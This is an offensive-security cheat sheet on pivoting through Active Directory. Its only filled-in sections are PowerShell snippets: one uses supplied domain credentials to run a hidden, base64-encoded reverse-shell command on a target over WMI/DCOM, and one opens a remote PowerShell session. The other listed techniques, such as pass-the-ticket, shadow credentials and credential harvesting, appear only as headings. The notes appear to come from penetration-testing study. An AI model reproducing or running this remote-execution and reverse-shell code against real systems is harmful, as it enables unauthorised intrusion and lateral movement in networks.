Pivoting via Active Directory

Useful when we can’t install something like ligolo and pivot to compromise an internal machine

Service Pivoting

Windows Management Instrumentation

$username = '{domain_user}';
$password = '{password}';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName {target_IP} -Credential $credential -SessionOption $Options

$Command = 'powershell -nop -w hidden -e {reverse_shell_powershell_b64}';

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

WinRM

DCOM

$username = '{domain_user}';
$password = '{password}';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

New-PSSession -ComputerName {target} -Credential $credential
Enter-PSSession {PSSession_ID_returned}

PsExec

SMB

NTLM/Kerberos Pivoting

Overpass the Hash

Pass the Ticket

Shadow Credentials

Abusing Domain Trusts

Delegation

Abusing Delegation to a Machine We Control

Credential Harvesting

Getting More Credentials